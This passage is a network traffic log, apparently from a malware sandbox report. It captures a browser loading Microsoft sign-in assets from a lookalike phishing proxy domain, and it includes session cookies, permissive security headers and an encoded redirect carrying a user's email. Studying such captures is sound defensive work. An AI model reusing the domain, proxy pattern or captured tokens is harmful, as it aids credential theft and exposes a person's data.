1NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858798 Cache-Control: public, max-age=31536000 Content-MD5: izYzcDfP+Iw98gO7c9WOQQ== Content-Type: image/png Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8D7AF695D6C58F2 Last-Modified: Wed, 12 Feb 2020 03:12:17 GMT Server: ECAcc (ska/F7B7) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 13a22f75-801e-00eb-2e65-7e6a46000000 x-ms-version: 2009-09-19 Content-Length: 5139 Connection: close
2024-11-21 13:45:19 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49785	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	2915	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20677092 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (ska/F76D) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: a1e45449-701e-0068-210c-804015000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-11-21 13:45:19 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49786	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:18 UTC	1730	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:19 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20827187 Cache-Control: public, max-age=31536000 Content-MD5: 9GQ+Rbv+K66xwlL4OWRpYA== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:19 GMT Etag: 0x8DAFF34C498105D Last-Modified: Thu, 26 Jan 2023 00:32:12 GMT Server: ECAcc (ska/F6B6) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 010aa7c3-c01e-00c3-13af-7ea364000000 x-ms-version: 2009-09-19 content-length: 15748 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:19 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-21 13:45:19 UTC	707	IN	Data Raw: 48 65 6c 70 65 72 2e 69 73 53 74 61 63 6b 53 69 7a 65 47 72 65 61 74 65 72 54 68 61 6e 28 64 2e 53 65 72 76 65 72 44 61 74 61 2e 69 4d 61 78 53 74 61 63 6b 46 6f 72 4b 6e 6f 63 6b 6f 75 74 41 73 79 6e 63 43 6f 6d 70 6f 6e 65 6e 74 73 29 2c 65 6e 61 62 6c 65 45 78 74 65 6e 73 69 6f 6e 73 3a 21 30 7d 29 2c 65 2e 65 78 70 6f 72 74 73 3d 66 7d 2c 36 35 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 73 29 7b 65 2e 65 78 70 6f 72 74 73 3d 27 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 76 61 6c 75 65 3a 20 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 22 20 2f 3e 5c 6e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 66 6d 74 22 Data Ascii: Helper.isStackSizeGreaterThan(d.ServerData.iMaxStackForKnockoutAsyncComponents),enableExtensions:!0}),e.exports=f},656:function(e,n,s){e.exports='<input type="hidden" name="login" data-bind="value: unsafe_username" />\n<input type="hidden" name="loginfmt"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	49788	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:21 UTC	1710	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:21 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858800 Cache-Control: public, max-age=31536000 Content-MD5: izYzcDfP+Iw98gO7c9WOQQ== Content-Type: image/png Date: Thu, 21 Nov 2024 13:45:21 GMT Etag: 0x8D7AF695D6C58F2 Last-Modified: Wed, 12 Feb 2020 03:12:17 GMT Server: ECAcc (ska/F7B7) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 13a22f75-801e-00eb-2e65-7e6a46000000 x-ms-version: 2009-09-19 Content-Length: 5139 Connection: close
2024-11-21 13:45:21 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	49790	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:21 UTC	1713	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:21 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20677094 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Thu, 21 Nov 2024 13:45:21 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (ska/F76D) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: a1e45449-701e-0068-210c-804015000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-11-21 13:45:21 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49789	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:21 UTC	1722	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; 